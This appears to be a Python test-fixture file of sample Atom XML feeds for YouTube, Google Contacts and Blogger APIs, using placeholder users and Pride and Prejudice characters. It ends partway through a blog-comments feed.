YOUTUBE_PLAYLIST_VIDEO_FEED = """<?xml version='1.0' encoding='UTF-8'?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:gml='http://www.opengis.net/gml' xmlns:georss='http://www.georss.org/georss' xmlns:media='http://search.yahoo.com/mrss/' xmlns:yt='http://gdata.youtube.com/schemas/2007' xmlns:gd='http://schemas.google.com/g/2005'><id>http://gdata.youtube.com/feeds/api/playlists/BCB3BB96DF51B505</id><updated>2008-05-16T12:03:17.000-07:00</updated><category scheme='http://schemas.google.com/g/2005#kind' term='http://gdata.youtube.com/schemas/2007#playlist'/><category scheme='http://gdata.youtube.com/schemas/2007/tags.cat' term='videos'/><category scheme='http://gdata.youtube.com/schemas/2007/tags.cat' term='python'/><title type='text'>Test Playlist</title><subtitle type='text'>Test playlist 1</subtitle><logo>http://www.youtube.com/img/pic_youtubelogo_123x63.gif</logo><link rel='alternate' type='text/html' href='http://www.youtube.com/view_play_list?p=BCB3BB96DF51B505'/><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://gdata.youtube.com/feeds/api/playlists/BCB3BB96DF51B505'/><link rel='self' type='application/atom+xml' href='http://gdata.youtube.com/feeds/api/playlists/BCB3BB96DF51B505?start-index=1&max-results=25'/><author><name>gdpython</name><uri>http://gdata.youtube.com/feeds/api/users/gdpython</uri></author><generator version='beta' uri='http://gdata.youtube.com/'>YouTube data API</generator><openSearch:totalResults>1</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><media:group><media:title type='plain'>Test Playlist</media:title><media:description type='plain'>Test playlist 1</media:description><media:content url='http://www.youtube.com/ep.swf?id=BCB3BB96DF51B505' type='application/x-shockwave-flash' yt:format='5'/></media:group><entry><id>http://gdata.youtube.com/feeds/api/playlists/BCB3BB96DF51B505/B0F29389E537F888</id><updated>2008-05-16T20:54:08.520Z</updated><category scheme='http://schemas.google.com/g/2005#kind' term='http://gdata.youtube.com/schemas/2007#playlist'/><title type='text'>Uploading YouTube Videos with the PHP Client Library</title><content type='text'>Jochen Hartmann demonstrates the basics of how to use the PHP Client Library with the YouTube Data API.
PHP Developer's Guide:
http://code.google.com/apis/youtube/developers_guide_php.html
Other documentation:
http://code.google.com/apis/youtube/</content><link rel='alternate' type='text/html' href='http://www.youtube.com/watch?v=iIp7OnHXBlo'/><link rel='http://gdata.youtube.com/schemas/2007#video.responses' type='application/atom+xml' href='http://gdata.youtube.com/feeds/api/videos/iIp7OnHXBlo/responses'/><link rel='http://gdata.youtube.com/schemas/2007#video.related' type='application/atom+xml' href='http://gdata.youtube.com/feeds/api/videos/iIp7OnHXBlo/related'/><link rel='related' type='application/atom+xml' href='http://gdata.youtube.com/feeds/api/videos/iIp7OnHXBlo'/><link rel='self' type='application/atom+xml' href='http://gdata.youtube.com/feeds/api/playlists/BCB3BB96DF51B505/B0F29389E537F888'/><author><name>GoogleDevelopers</name><uri>http://gdata.youtube.com/feeds/api/users/googledevelopers</uri></author><media:group><media:title type='plain'>Uploading YouTube Videos with the PHP Client Library</media:title><media:description type='plain'>Jochen Hartmann demonstrates the basics of how to use the PHP Client Library with the YouTube Data API.
PHP Developer's Guide:
http://code.google.com/apis/youtube/developers_guide_php.html
Other documentation:
http://code.google.com/apis/youtube/</media:description><media:keywords>api, data, demo, php, screencast, tutorial, uploading, walkthrough, youtube</media:keywords><yt:duration seconds='466'/><media:category label='Education' scheme='http://gdata.youtube.com/schemas/2007/categories.cat'>Education</media:category><media:content url='http://www.youtube.com/v/iIp7OnHXBlo' type='application/x-shockwave-flash' medium='video' isDefault='true' expression='full' duration='466' yt:format='5'/><media:content url='rtsp://rtsp2.youtube.com/ChoLENy73wIaEQlaBtdxOnuKiBMYDSANFEgGDA==/0/0/0/video.3gp' type='video/3gpp' medium='video' expression='full' duration='466' yt:format='1'/><media:content url='rtsp://rtsp2.youtube.com/ChoLENy73wIaEQlaBtdxOnuKiBMYESARFEgGDA==/0/0/0/video.3gp' type='video/3gpp' medium='video' expression='full' duration='466' yt:format='6'/><media:player url='http://www.youtube.com/watch?v=iIp7OnHXBlo'/><media:thumbnail url='http://img.youtube.com/vi/iIp7OnHXBlo/2.jpg' height='97' width='130' time='00:03:53'/><media:thumbnail url='http://img.youtube.com/vi/iIp7OnHXBlo/1.jpg' height='97' width='130' time='00:01:56.500'/><media:thumbnail url='http://img.youtube.com/vi/iIp7OnHXBlo/3.jpg' height='97' width='130' time='00:05:49.500'/><media:thumbnail url='http://img.youtube.com/vi/iIp7OnHXBlo/0.jpg' height='240' width='320' time='00:03:53'/></media:group><yt:statistics viewCount='1550' favoriteCount='5'/><gd:rating min='1' max='5' numRaters='3' average='4.67'/><yt:location>undefined</yt:location><gd:comments><gd:feedLink href='http://gdata.youtube.com/feeds/api/videos/iIp7OnHXBlo/comments' countHint='2'/></gd:comments><yt:position>1</yt:position></entry></feed>"""
YOUTUBE_SUBSCRIPTION_FEED = """<?xml version='1.0' encoding='UTF-8'?>
<feed xmlns='http://www.w3.org/2005/Atom'
xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/'
xmlns:media='http://search.yahoo.com/mrss/'
xmlns:yt='http://gdata.youtube.com/schemas/2007'
xmlns:gd='http://schemas.google.com/g/2005'>
<id>http://gdata.youtube.com/feeds/users/andyland74/subscriptions?start-index=1&max-results=25</id>
<updated>2008-02-26T00:26:15.635Z</updated>
<category scheme='http://schemas.google.com/g/2005#kind'
term='http://gdata.youtube.com/schemas/2007#subscription'/>
<title type='text'>andyland74's Subscriptions</title>
<logo>http://www.youtube.com/img/pic_youtubelogo_123x63.gif</logo>
<link rel='related' type='application/atom+xml'
href='http://gdata.youtube.com/feeds/users/andyland74'/>
<link rel='alternate' type='text/html'
href='http://www.youtube.com/profile_subscriptions?user=andyland74'/>
<link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml'
href='http://gdata.youtube.com/feeds/users/andyland74/subscriptions'/>
<link rel='self' type='application/atom+xml'
href='http://gdata.youtube.com/feeds/users/andyland74/subscriptions?start-index=1&max-results=25'/>
<author>
<name>andyland74</name>
<uri>http://gdata.youtube.com/feeds/users/andyland74</uri>
</author>
<generator version='beta' uri='http://gdata.youtube.com/'>YouTube data API</generator>
<openSearch:totalResults>1</openSearch:totalResults>
<openSearch:startIndex>1</openSearch:startIndex>
<openSearch:itemsPerPage>25</openSearch:itemsPerPage>
<entry>
<id>http://gdata.youtube.com/feeds/users/andyland74/subscriptions/d411759045e2ad8c</id>
<published>2007-11-04T17:30:27.000-08:00</published>
<updated>2008-02-22T09:55:14.000-08:00</updated>
<category scheme='http://gdata.youtube.com/schemas/2007/subscriptiontypes.cat'
term='channel'/>
<category scheme='http://schemas.google.com/g/2005#kind'
term='http://gdata.youtube.com/schemas/2007#subscription'/>
<title type='text'>Videos published by : NBC</title>
<link rel='related' type='application/atom+xml'
href='http://gdata.youtube.com/feeds/users/andyland74'/>
<link rel='alternate' type='text/html'
href='http://www.youtube.com/profile_videos?user=NBC'/>
<link rel='self' type='application/atom+xml'
href='http://gdata.youtube.com/feeds/users/andyland74/subscriptions/d411759045e2ad8c'/>
<author>
<name>andyland74</name>
<uri>http://gdata.youtube.com/feeds/users/andyland74</uri>
</author>
<yt:username>NBC</yt:username>
<gd:feedLink rel='http://gdata.youtube.com/schemas/2007#user.uploads'
href='http://gdata.youtube.com/feeds/api/users/nbc/uploads'/>
</entry>
</feed>"""
YOUTUBE_VIDEO_RESPONSE_FEED = """<?xml version='1.0' encoding='UTF-8'?>
<feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:gml='http://www.opengis.net/gml' xmlns:georss='http://www.georss.org/georss' xmlns:media='http://search.yahoo.com/mrss/' xmlns:yt='http://gdata.youtube.com/schemas/2007' xmlns:gd='http://schemas.google.com/g/2005'>
<id>http://gdata.youtube.com/feeds/videos/2c3q9K4cHzY/responses</id><updated>2008-05-19T22:37:34.076Z</updated><category scheme='http://schemas.google.com/g/2005#kind' term='http://gdata.youtube.com/schemas/2007#video'/><title type='text'>Videos responses to 'Giant NES controller coffee table'</title><logo>http://www.youtube.com/img/pic_youtubelogo_123x63.gif</logo><link rel='related' type='application/atom+xml' href='http://gdata.youtube.com/feeds/videos/2c3q9K4cHzY'/><link rel='alternate' type='text/html' href='http://www.youtube.com/video_response_view_all?v=2c3q9K4cHzY'/><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://gdata.youtube.com/feeds/videos/2c3q9K4cHzY/responses'/><link rel='self' type='application/atom+xml' href='http://gdata.youtube.com/feeds/videos/2c3q9K4cHzY/responses?start-index=1&max-results=25'/><author><name>YouTube</name><uri>http://www.youtube.com/</uri></author><generator version='beta' uri='http://gdata.youtube.com/'>YouTube data API</generator><openSearch:totalResults>8</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage>
<entry>
<id>http://gdata.youtube.com/feeds/videos/7b9EnRI9VbY</id><published>2008-03-11T19:08:53.000-07:00</published><updated>2008-05-18T21:33:10.000-07:00</updated>
<category scheme='http://gdata.youtube.com/schemas/2007/keywords.cat' term='OD'/><category scheme='http://schemas.google.com/g/2005#kind' term='http://gdata.youtube.com/schemas/2007#video'/><category scheme='http://gdata.youtube.com/schemas/2007/keywords.cat' term='chat'/>
<category scheme='http://gdata.youtube.com/schemas/2007/keywords.cat' term='Uncle'/><category scheme='http://gdata.youtube.com/schemas/2007/keywords.cat' term='sex'/>
<category scheme='http://gdata.youtube.com/schemas/2007/keywords.cat' term='catmint'/><category scheme='http://gdata.youtube.com/schemas/2007/keywords.cat' term='kato'/>
<category scheme='http://gdata.youtube.com/schemas/2007/keywords.cat' term='kissa'/><category scheme='http://gdata.youtube.com/schemas/2007/keywords.cat' term='katt'/>
<category scheme='http://gdata.youtube.com/schemas/2007/categories.cat' term='Animals' label='Pets & Animals'/>
<category scheme='http://gdata.youtube.com/schemas/2007/keywords.cat' term='kat'/><category scheme='http://gdata.youtube.com/schemas/2007/keywords.cat' term='cat'/>
<category scheme='http://gdata.youtube.com/schemas/2007/keywords.cat' term='cats'/><category scheme='http://gdata.youtube.com/schemas/2007/keywords.cat' term='kedi'/>
<category scheme='http://gdata.youtube.com/schemas/2007/keywords.cat' term='gato'/><category scheme='http://gdata.youtube.com/schemas/2007/keywords.cat' term='Brattman'/>
<category scheme='http://gdata.youtube.com/schemas/2007/keywords.cat' term='drug'/><category scheme='http://gdata.youtube.com/schemas/2007/keywords.cat' term='overdose'/>
<category scheme='http://gdata.youtube.com/schemas/2007/keywords.cat' term='catnip'/><category scheme='http://gdata.youtube.com/schemas/2007/keywords.cat' term='party'/>
<category scheme='http://gdata.youtube.com/schemas/2007/keywords.cat' term='Katze'/><category scheme='http://gdata.youtube.com/schemas/2007/keywords.cat' term='gatto'/>
<title type='text'>Catnip Party</title><content type='html'>snipped</content>
<link rel='alternate' type='text/html' href='http://www.youtube.com/watch?v=7b9EnRI9VbY'/>
<link rel='http://gdata.youtube.com/schemas/2007#video.responses' type='application/atom+xml' href='http://gdata.youtube.com/feeds/videos/7b9EnRI9VbY/responses'/>
<link rel='http://gdata.youtube.com/schemas/2007#video.related' type='application/atom+xml' href='http://gdata.youtube.com/feeds/videos/7b9EnRI9VbY/related'/>
<link rel='self' type='application/atom+xml' href='http://gdata.youtube.com/feeds/videos/2c3q9K4cHzY/responses/7b9EnRI9VbY'/>
<author><name>PismoBeach</name><uri>http://gdata.youtube.com/feeds/users/pismobeach</uri></author>
<media:group>
<media:title type='plain'>Catnip Party</media:title>
<media:description type='plain'>Uncle, Hillary, Hankette, and B4 all but overdose on the patio</media:description><media:keywords>Brattman, cat, catmint, catnip, cats, chat, drug, gato, gatto, kat, kato, katt, Katze, kedi, kissa, OD, overdose, party, sex, Uncle</media:keywords>
<yt:duration seconds='139'/>
<media:category label='Pets & Animals' scheme='http://gdata.youtube.com/schemas/2007/categories.cat'>Animals</media:category>
<media:content url='http://www.youtube.com/v/7b9EnRI9VbY' type='application/x-shockwave-flash' medium='video' isDefault='true' expression='full' duration='139' yt:format='5'/>
<media:content url='rtsp://rtsp2.youtube.com/ChoLENy73wIaEQm2VT0SnUS_7RMYDSANFEgGDA==/0/0/0/video.3gp' type='video/3gpp' medium='video' expression='full' duration='139' yt:format='1'/>
<media:content url='rtsp://rtsp2.youtube.com/ChoLENy73wIaEQm2VT0SnUS_7RMYESARFEgGDA==/0/0/0/video.3gp' type='video/3gpp' medium='video' expression='full' duration='139' yt:format='6'/>
<media:player url='http://www.youtube.com/watch?v=7b9EnRI9VbY'/>
<media:thumbnail url='http://img.youtube.com/vi/7b9EnRI9VbY/2.jpg' height='97' width='130' time='00:01:09.500'/>
<media:thumbnail url='http://img.youtube.com/vi/7b9EnRI9VbY/1.jpg' height='97' width='130' time='00:00:34.750'/>
<media:thumbnail url='http://img.youtube.com/vi/7b9EnRI9VbY/3.jpg' height='97' width='130' time='00:01:44.250'/>
<media:thumbnail url='http://img.youtube.com/vi/7b9EnRI9VbY/0.jpg' height='240' width='320' time='00:01:09.500'/>
</media:group>
<yt:statistics viewCount='4235' favoriteCount='3'/>
<gd:rating min='1' max='5' numRaters='24' average='3.54'/>
<gd:comments>
<gd:feedLink href='http://gdata.youtube.com/feeds/videos/7b9EnRI9VbY/comments' countHint='14'/>
</gd:comments>
</entry>
</feed>
"""
YOUTUBE_PROFILE = """<?xml version='1.0' encoding='UTF-8'?>
<entry xmlns='http://www.w3.org/2005/Atom'
xmlns:media='http://search.yahoo.com/mrss/'
xmlns:yt='http://gdata.youtube.com/schemas/2007'
xmlns:gd='http://schemas.google.com/g/2005'>
<id>http://gdata.youtube.com/feeds/users/andyland74</id>
<published>2006-10-16T00:09:45.000-07:00</published>
<updated>2008-02-26T11:48:21.000-08:00</updated>
<category scheme='http://gdata.youtube.com/schemas/2007/channeltypes.cat'
term='Standard'/>
<category scheme='http://schemas.google.com/g/2005#kind'
term='http://gdata.youtube.com/schemas/2007#userProfile'/>
<title type='text'>andyland74 Channel</title>
<link rel='alternate' type='text/html'
href='http://www.youtube.com/profile?user=andyland74'/>
<link rel='self' type='application/atom+xml'
href='http://gdata.youtube.com/feeds/users/andyland74'/>
<author>
<name>andyland74</name>
<uri>http://gdata.youtube.com/feeds/users/andyland74</uri>
</author>
<yt:age>33</yt:age>
<yt:username>andyland74</yt:username>
<yt:firstName>andy</yt:firstName>
<yt:lastName>example</yt:lastName>
<yt:books>Catch-22</yt:books>
<yt:gender>m</yt:gender>
<yt:company>Google</yt:company>
<yt:hobbies>Testing YouTube APIs</yt:hobbies>
<yt:hometown>Somewhere</yt:hometown>
<yt:location>US</yt:location>
<yt:movies>Aqua Teen Hungerforce</yt:movies>
<yt:music>Elliott Smith</yt:music>
<yt:occupation>Technical Writer</yt:occupation>
<yt:school>University of North Carolina</yt:school>
<media:thumbnail url='http://i.ytimg.com/vi/YFbSxcdOL-w/default.jpg'/>
<yt:statistics viewCount='9' videoWatchCount='21' subscriberCount='1'
lastWebAccess='2008-02-25T16:03:38.000-08:00'/>
<gd:feedLink rel='http://gdata.youtube.com/schemas/2007#user.favorites'
href='http://gdata.youtube.com/feeds/users/andyland74/favorites' countHint='4'/>
<gd:feedLink rel='http://gdata.youtube.com/schemas/2007#user.contacts'
href='http://gdata.youtube.com/feeds/users/andyland74/contacts' countHint='1'/>
<gd:feedLink rel='http://gdata.youtube.com/schemas/2007#user.inbox'
href='http://gdata.youtube.com/feeds/users/andyland74/inbox' countHint='0'/>
<gd:feedLink rel='http://gdata.youtube.com/schemas/2007#user.playlists'
href='http://gdata.youtube.com/feeds/users/andyland74/playlists'/>
<gd:feedLink rel='http://gdata.youtube.com/schemas/2007#user.subscriptions'
href='http://gdata.youtube.com/feeds/users/andyland74/subscriptions' countHint='4'/>
<gd:feedLink rel='http://gdata.youtube.com/schemas/2007#user.uploads'
href='http://gdata.youtube.com/feeds/users/andyland74/uploads' countHint='1'/>
</entry>"""
YOUTUBE_CONTACTS_FEED = """<?xml version='1.0' encoding='UTF-8'?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:yt='http://gdata.youtube.com/schemas/2007' xmlns:gd='http://schemas.google.com/g/2005'>
<id>http://gdata.youtube.com/feeds/users/apitestjhartmann/contacts</id><updated>2008-05-16T19:24:34.916Z</updated><category scheme='http://schemas.google.com/g/2005#kind' term='http://gdata.youtube.com/schemas/2007#friend'/><title type='text'>apitestjhartmann's Contacts</title><logo>http://www.youtube.com/img/pic_youtubelogo_123x63.gif</logo><link rel='alternate' type='text/html' href='http://www.youtube.com/profile_friends?user=apitestjhartmann'/><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://gdata.youtube.com/feeds/users/apitestjhartmann/contacts'/><link rel='http://schemas.google.com/g/2005#post' type='application/atom+xml' href='http://gdata.youtube.com/feeds/users/apitestjhartmann/contacts'/><link rel='self' type='application/atom+xml' href='http://gdata.youtube.com/feeds/users/apitestjhartmann/contacts?start-index=1&max-results=25'/><author><name>apitestjhartmann</name><uri>http://gdata.youtube.com/feeds/users/apitestjhartmann</uri></author><generator version='beta' uri='http://gdata.youtube.com/'>YouTube data API</generator><openSearch:totalResults>2</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage>
<entry>
<id>http://gdata.youtube.com/feeds/users/apitestjhartmann/contacts/test89899090</id><published>2008-02-04T11:27:54.000-08:00</published><updated>2008-05-16T19:24:34.916Z</updated><category scheme='http://schemas.google.com/g/2005#kind' term='http://gdata.youtube.com/schemas/2007#friend'/><title type='text'>test89899090</title><link rel='related' type='application/atom+xml' href='http://gdata.youtube.com/feeds/users/test89899090'/><link rel='alternate' type='text/html' href='http://www.youtube.com/profile?user=test89899090'/><link rel='self' type='application/atom+xml' href='http://gdata.youtube.com/feeds/users/apitestjhartmann/contacts/test89899090'/><link rel='edit' type='application/atom+xml' href='http://gdata.youtube.com/feeds/users/apitestjhartmann/contacts/test89899090'/><author><name>apitestjhartmann</name><uri>http://gdata.youtube.com/feeds/users/apitestjhartmann</uri></author><yt:username>test89899090</yt:username><yt:status>requested</yt:status></entry>
<entry>
<id>http://gdata.youtube.com/feeds/users/apitestjhartmann/contacts/testjfisher</id><published>2008-02-26T14:13:03.000-08:00</published><updated>2008-05-16T19:24:34.916Z</updated><category scheme='http://schemas.google.com/g/2005#kind' term='http://gdata.youtube.com/schemas/2007#friend'/><title type='text'>testjfisher</title><link rel='related' type='application/atom+xml' href='http://gdata.youtube.com/feeds/users/testjfisher'/><link rel='alternate' type='text/html' href='http://www.youtube.com/profile?user=testjfisher'/><link rel='self' type='application/atom+xml' href='http://gdata.youtube.com/feeds/users/apitestjhartmann/contacts/testjfisher'/><link rel='edit' type='application/atom+xml' href='http://gdata.youtube.com/feeds/users/apitestjhartmann/contacts/testjfisher'/><author><name>apitestjhartmann</name><uri>http://gdata.youtube.com/feeds/users/apitestjhartmann</uri></author><yt:username>testjfisher</yt:username><yt:status>pending</yt:status></entry>
</feed>"""
NEW_CONTACT = """<?xml version='1.0' encoding='UTF-8'?>
<entry xmlns='http://www.w3.org/2005/Atom'
xmlns:gd='http://schemas.google.com/g/2005'
xmlns:gContact='http://schemas.google.com/contact/2008'>
<id>http://www.google.com/m8/feeds/contacts/liz%40gmail.com/base/8411573</id>
<updated>2008-02-28T18:47:02.303Z</updated>
<category scheme='http://schemas.google.com/g/2005#kind'
term='http://schemas.google.com/contact/2008#contact' />
<title type='text'>Fitzgerald</title>
<content type='text'>Notes</content>
<link rel='self' type='application/atom+xml'
href='http://www.google.com/m8/feeds/contacts/liz%40gmail.com/full/8411573' />
<link rel='edit' type='application/atom+xml'
href='http://www.google.com/m8/feeds/contacts/liz%40gmail.com/full/8411573/1204224422303000' />
<gd:email rel='http://schemas.google.com/g/2005#work'
address='liz@gmail.com' />
<gd:email rel='http://schemas.google.com/g/2005#home'
address='liz@example.org' />
<gd:phoneNumber rel='http://schemas.google.com/g/2005#work'
primary='true'>(206)555-1212</gd:phoneNumber>
<gd:phoneNumber rel='http://schemas.google.com/g/2005#other'
primary='true'>456-123-2133</gd:phoneNumber>
<gd:phoneNumber rel='http://schemas.google.com/g/2005#home'>(206)555-1213</gd:phoneNumber>
<gd:extendedProperty name="pet" value="hamster" />
<gd:extendedProperty name="cousine">
<italian />
</gd:extendedProperty>
<gContact:groupMembershipInfo deleted="false" href="http://google.com/m8/feeds/groups/liz%40gmail.com/base/270f" />
<gd:im address='liz@gmail.com'
protocol='http://schemas.google.com/g/2005#GOOGLE_TALK'
rel='http://schemas.google.com/g/2005#home' />
<gd:postalAddress rel='http://schemas.google.com/g/2005#work'
primary='true'>1600 Amphitheatre Pkwy Mountain View</gd:postalAddress>
</entry>"""
CONTACTS_FEED = """<?xml version='1.0' encoding='UTF-8'?>
<feed xmlns='http://www.w3.org/2005/Atom'
xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/'
xmlns:gd='http://schemas.google.com/g/2005'
xmlns:gContact='http://schemas.google.com/contact/2008'
xmlns:batch='http://schemas.google.com/gdata/batch'>
<id>http://www.google.com/m8/feeds/contacts/liz%40gmail.com/base</id>
<updated>2008-03-05T12:36:38.836Z</updated>
<category scheme='http://schemas.google.com/g/2005#kind'
term='http://schemas.google.com/contact/2008#contact' />
<title type='text'>Contacts</title>
<link rel='http://schemas.google.com/g/2005#feed'
type='application/atom+xml'
href='http://www.google.com/m8/feeds/contacts/liz%40gmail.com/full' />
<link rel='http://schemas.google.com/g/2005#post'
type='application/atom+xml'
href='http://www.google.com/m8/feeds/contacts/liz%40gmail.com/full' />
<link rel='http://schemas.google.com/g/2005#batch'
type='application/atom+xml'
href='http://www.google.com/m8/feeds/contacts/liz%40gmail.com/full/batch' />
<link rel='self' type='application/atom+xml'
href='http://www.google.com/m8/feeds/contacts/liz%40gmail.com/full?max-results=25' />
<author>
<name>Elizabeth Bennet</name>
<email>liz@gmail.com</email>
</author>
<generator version='1.0' uri='http://www.google.com/m8/feeds/contacts'>
Contacts
</generator>
<openSearch:totalResults>1</openSearch:totalResults>
<openSearch:startIndex>1</openSearch:startIndex>
<openSearch:itemsPerPage>25</openSearch:itemsPerPage>
<entry>
<id>
http://www.google.com/m8/feeds/contacts/liz%40gmail.com/base/c9012de
</id>
<updated>2008-03-05T12:36:38.835Z</updated>
<category scheme='http://schemas.google.com/g/2005#kind'
term='http://schemas.google.com/contact/2008#contact' />
<title type='text'>Fitzgerald</title>
<link rel="http://schemas.google.com/contacts/2008/rel#photo" type="image/*"
href="http://google.com/m8/feeds/photos/media/liz%40gmail.com/c9012de"/>
<link rel="http://schemas.google.com/contacts/2008/rel#edit-photo" type="image/*"
href="http://www.google.com/m8/feeds/photos/media/liz%40gmail.com/c9012de/photo4524"/>
<link rel='self' type='application/atom+xml'
href='http://www.google.com/m8/feeds/contacts/liz%40gmail.com/full/c9012de' />
<link rel='edit' type='application/atom+xml'
href='http://www.google.com/m8/feeds/contacts/liz%40gmail.com/full/c9012de/1204720598835000' />
<gd:phoneNumber rel='http://schemas.google.com/g/2005#home'
primary='true'>
456
</gd:phoneNumber>
<gd:extendedProperty name="pet" value="hamster" />
<gContact:groupMembershipInfo deleted="false" href="http://google.com/m8/feeds/groups/liz%40gmail.com/base/270f" />
</entry>
</feed>"""
CONTACT_GROUPS_FEED = """<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom"
xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/"
xmlns:gContact="http://schemas.google.com/contact/2008"
xmlns:batch="http://schemas.google.com/gdata/batch"
xmlns:gd="http://schemas.google.com/g/2005">
<id>jo@gmail.com</id>
<updated>2008-05-21T21:11:25.237Z</updated>
<category scheme="http://schemas.google.com/g/2005#kind" term="http://schemas.google.com/contact/2008#group"/>
<title type="text">Jo's Contact Groups</title>
<link rel="alternate" type="text/html" href="http://www.google.com/"/>
<link rel="http://schemas.google.com/g/2005#feed"
type="application/atom+xml"
href="http://google.m/m8/feeds/groups/jo%40gmail.com/thin"/>
<link rel="http://schemas.google.com/g/2005#post"
type="application/atom+xml"
href="http://google.m/m8/feeds/groups/jo%40gmail.com/thin"/>
<link rel="http://schemas.google.com/g/2005#batch"
type="application/atom+xml"
href="http://googleom/m8/feeds/groups/jo%40gmail.com/thin/batch"/>
<link rel="self"
type="application/atom+xml"
href="http://google.com/m8/feeds/groups/jo%40gmail.com/thin?max-results=25"/>
<author>
<name>Jo Brown</name>
<email>jo@gmail.com</email>
</author>
<generator version="1.0" uri="http://google.com/m8/feeds">Contacts</generator>
<openSearch:totalResults>3</openSearch:totalResults>
<openSearch:startIndex>1</openSearch:startIndex>
<openSearch:itemsPerPage>25</openSearch:itemsPerPage>
<entry>
<id>http://google.com/m8/feeds/groups/jo%40gmail.com/base/270f</id>
<updated>2008-05-14T13:10:19.070Z</updated>
<category scheme="http://schemas.google.com/g/2005#kind" term="http://schemas.google.com/contact/2008#group"/>
<title type="text">joggers</title>
<content type="text">joggers</content>
<link rel="self" type="application/atom+xml"
href="http://google.com/m8/feeds/groups/jo%40gmail.com/thin/270f"/>
<link rel="edit" type="application/atom+xml"
href="http://google.com/m8/feeds/groups/jo%40gmail.com/thin/270f/1210770619070000"/>
</entry>
</feed>"""
CONTACT_GROUP_ENTRY = """<?xml version="1.0" encoding="UTF-8"?>
<entry xmlns='http://www.w3.org/2005/Atom'
xmlns:gd="http://schemas.google.com/g/2005">
<category scheme="http://schemas.google.com/g/2005#kind"
term="http://schemas.google.com/g/2005#group"/>
<id>http://www.google.com/feeds/groups/jo%40gmail.com/base/1234</id>
<published>2005-01-18T21:00:00Z</published>
<updated>2006-01-01T00:00:00Z</updated>
<title type="text">Salsa group</title>
<content type="text">Salsa group</content>
<link rel='self' type='application/atom+xml'
href= 'http://www.google.com/m8/feeds/groups/jo%40gmail.com/full/2' />
<link rel='edit' type='application/atom+xml'
href='http://www.google.com/m8/feeds/groups/jo%40gmail.com/full/2/0'/>
<gd:extendedProperty name="more info about the group">
<info>Very nice people.</info>
</gd:extendedProperty>
</entry>"""
BLOG_ENTRY = """<entry xmlns='http://www.w3.org/2005/Atom'>
<id>tag:blogger.com,1999:blog-blogID.post-postID</id>
<published>2006-08-02T18:44:43.089-07:00</published>
<updated>2006-11-08T18:10:23.020-08:00</updated>
<title type='text'>Lizzy's Diary</title>
<summary type='html'>Being the journal of Elizabeth Bennet</summary>
<link rel='alternate' type='text/html'
href='http://blogName.blogspot.com/'>
</link>
<link rel='http://schemas.google.com/g/2005#feed'
type='application/atom+xml'
href='http://blogName.blogspot.com/feeds/posts/default'>
</link>
<link rel='http://schemas.google.com/g/2005#post'
type='application/atom+xml'
href='http://www.blogger.com/feeds/blogID/posts/default'>
</link>
<link rel='self' type='application/atom+xml'
href='http://www.blogger.com/feeds/userID/blogs/blogID'>
</link>
<link rel='edit' type='application/atom+xml'
href='http://www.blogger.com/feeds/userID/blogs/blogID'>
</link>
<author>
<name>Elizabeth Bennet</name>
<email>liz@gmail.com</email>
</author>
</entry>"""
BLOG_POST = """<entry xmlns='http://www.w3.org/2005/Atom'>
<title type='text'>Marriage!</title>
<content type='xhtml'>
<div xmlns="http://www.w3.org/1999/xhtml">
<p>Mr. Darcy has <em>proposed marriage</em> to me!</p>
<p>He is the last man on earth I would ever desire to marry.</p>
<p>Whatever shall I do?</p>
</div>
</content>
<author>
<name>Elizabeth Bennet</name>
<email>liz@gmail.com</email>
</author>
</entry>"""
BLOG_POSTS_FEED = """<feed xmlns='http://www.w3.org/2005/Atom'>
<id>tag:blogger.com,1999:blog-blogID</id>
<updated>2006-11-08T18:10:23.020-08:00</updated>
<title type='text'>Lizzy's Diary</title>
<link rel='alternate' type='text/html'
href='http://blogName.blogspot.com/index.html'>
</link>
<link rel='http://schemas.google.com/g/2005#feed'
type='application/atom+xml'
href='http://blogName.blogspot.com/feeds/posts/default'>
</link>
<link rel='self' type='application/atom+xml'
href='http://blogName.blogspot.com/feeds/posts/default'>
</link>
<author>
<name>Elizabeth Bennet</name>
<email>liz@gmail.com</email>
</author>
<generator version='7.00' uri='http://www2.blogger.com'>Blogger</generator>
<entry>
<id>tag:blogger.com,1999:blog-blogID.post-postID</id>
<published>2006-11-08T18:10:00.000-08:00</published>
<updated>2006-11-08T18:10:14.954-08:00</updated>
<title type='text'>Quite disagreeable</title>
<content type='html'><p>I met Mr. Bingley's friend Mr. Darcy
this evening. I found him quite disagreeable.</p></content>
<link rel='alternate' type='text/html'
href='http://blogName.blogspot.com/2006/11/quite-disagreeable.html'>
</link>
<link rel='self' type='application/atom+xml'
href='http://blogName.blogspot.com/feeds/posts/default/postID'>
</link>
<link rel='edit' type='application/atom+xml'
href='http://www.blogger.com/feeds/blogID/posts/default/postID'>
</link>
<author>
<name>Elizabeth Bennet</name>
<email>liz@gmail.com</email>
</author>
</entry>
</feed>"""
BLOG_COMMENTS_FEED = """<feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/">
<id>tag:blogger.com,1999:blog-blogID.postpostID..comments</id>
<updated>2007-04-04T21:56:29.803-07:00</updated>
<title type="text">My Blog : Time to relax</title>
<link rel="alternate" type="text/html" href="http://blogName.blogspot.com/2007/04/first-post.html"/>
<link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://blogName.blogspot.com/feeds/postID/comments/default"/>
